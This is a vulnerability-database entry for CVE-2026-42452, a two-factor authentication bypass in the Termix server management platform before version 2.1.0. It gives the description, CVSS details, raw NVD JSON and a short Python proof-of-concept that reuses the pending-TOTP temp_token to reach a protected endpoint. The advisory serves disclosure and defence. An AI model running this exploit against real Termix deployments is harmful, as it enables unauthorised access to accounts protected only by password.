Security Vulnerability Report
中文
CVE-2026-42452 CVSS 8.1 HIGH

CVE-2026-42452

Published: 2026-05-08 23:16:39
Last Modified: 2026-05-12 03:16:14

Description

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, /users/login issues a temporary JWT (temp_token) for TOTP-enabled accounts. That token carries a pendingTOTP state and should only be valid for the second-factor flow. However, the auth middleware accepts this token on regular authenticated endpoints. This effectively turns 2FA into single-factor (password) for impacted accounts. This issue has been patched in version 2.1.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Termix < 2.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "https://example-termix.com" login_endpoint = "/users/login" protected_endpoint = "/api/files/list" # Step 1: Authenticate with username and password # This simulates the first step of the login process credentials = { "username": "victim_user", "password": "victim_password" } response = requests.post(target_url + login_endpoint, json=credentials) if response.status_code == 200: data = response.json() # Extract the temporary token intended for TOTP validation temp_token = data.get('temp_token') if temp_token: # Step 2: Bypass TOTP by using the temp_token directly on a protected endpoint headers = { "Authorization": f"Bearer {temp_token}" } # Attempting to access a resource that should require full auth (password + TOTP) exploit_response = requests.get(target_url + protected_endpoint, headers=headers) if exploit_response.status_code == 200: print("[+] 2FA Bypass Successful! Gained access to protected endpoint.") print("[+] Response:", exploit_response.text) else: print("[-] Bypass failed. Status code:", exploit_response.status_code) else: print("[-] No temp_token found in response.") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42452", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:38.827", "lastModified": "2026-05-12T03:16:13.773", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, /users/login issues a temporary JWT (temp_token) for TOTP-enabled accounts. That token carries a pendingTOTP state and should only be valid for the second-factor flow. However, the auth middleware accepts this token on regular authenticated endpoints. This effectively turns 2FA into single-factor (password) for impacted accounts. This issue has been patched in version 2.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-304"}]}], "references": [{"url": "https://github.com/Termix-SSH/Termix/releases/tag/release-2.1.0-tag", "source": "[email protected]"}, {"url": "https://github.com/Termix-SSH/Termix/security/advisories/GHSA-vx59-rf9w-9jv8", "source": "[email protected]"}, {"url": "https://github.com/Termix-SSH/Termix/security/advisories/GHSA-vx59-rf9w-9jv8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}